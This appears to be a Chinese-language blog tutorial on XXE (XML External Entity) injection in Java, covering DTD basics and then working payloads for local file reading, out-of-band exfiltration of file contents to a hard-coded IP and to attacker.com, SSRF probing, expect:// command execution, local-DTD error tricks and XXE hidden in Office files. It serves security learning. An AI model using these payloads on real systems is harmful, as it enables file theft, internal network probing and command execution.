视频教程在我主页简介或专栏里
JAVA XXE 学习总结
XML 基础
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML申明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>
xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。
DTD
DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。
DTD 又分为外部 DTD 和内部 DTD,
内部 DTD:直接嵌套在 XML 文档内部。
外部 DTD:储存在单独文档中,通过声明引用。
内部 DTD demo
<?xml version="1.0"?><!DOCTYPE note [ <!ELEMENT note (to, from, heading, body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>
外部 DTD demo
<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>
通过文档声明引用,
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>
java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。
因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。
SYSTEM 定义
<!DOCTYPE name SYSTEM "address.dtd" [...]>
system 属性可以是 dtd 也可以是 url 链接,
PUBLIC 定义
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">
XXE 原理介绍
XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,
一般使用的就是外部实体,实列
<!ENTITY name SYSTEM "URI/URL">
实体还可以分为参数实体,其可以通过 %
或 &
进行引用,正是因为这些条件才使得我们能够进行实体注入。
XXE 攻击
不同平台支持的 xxe 协议
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | file | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher* | ||
phar |
任意文件读取
DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML { public static void main(String[] args) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml"); String textContent = document.getDocumentElement().getTextContent(); System.out.println(textContent); } catch (Exception e) { e.printStackTrace(); } } }
test.xml
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt"> ]> <root>&xxe;</root>
java 中 file 协议还有列目录的功能(php 中则不行)
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [ <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/"> ]> <root>&xxe;</root>

netdoc 协议和 file 协议功能一样
OOB XXE
用于没有回显进行外带数据,
DOMXML
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML { public static void main(String[] args) { try { DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml"); String textContent = document.getDocumentElement().getTextContent(); System.out.println(textContent); } catch (Exception e) { e.printStackTrace(); } } }
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"> <!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
test.xml
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xdsec[ <!ENTITY % include SYSTEM "./test.dtd" > %include; %define_http;%send_http; ]> <books></books>
这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file
内容,%
就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">
或者
<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用

SSRF
可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://192.168.116.1:90/" >]><xxe>&url;</xxe>
RCE
expect://
是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。
Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ENTITY url SYSTEM "expect://whoami" > ]> <xxe>&url;</xxe>
基于报错回显
感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。
test.xml
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/test.dtd"> %ext;]><message></message>
test.dtd
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">%eval;%error;

利用本地 DTD 来利用盲目 XXE
看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file
的内容。
那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。
比如本地存在 test.dtd:
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>
那么可以构建 payload
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file://test.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message>any text</message>
重新定义了 condition
参数的值会进行覆盖
'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'
类比原本的 dtd 变为
<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb"><!ELEMENT pattern (aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb)>
这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。

通过修改内容类型进行 XXE 攻击
正常的 post 请求
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7
foo=bar
有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于
POST /action HTTP/1.0Content-Type: application/xmlContent-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果存在就可以进行 xxe 攻击
POST /action HTTP/1.1 Content-Type: application/xml Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root></root><search>name</search><value>&xxe;</value> </root>
Excel文件导致XXE
excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压

看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://DNSLOG/" >]><xxe>&url;</xxe>
当然这种是只有老版本的 xml 解析器才会有的洞了。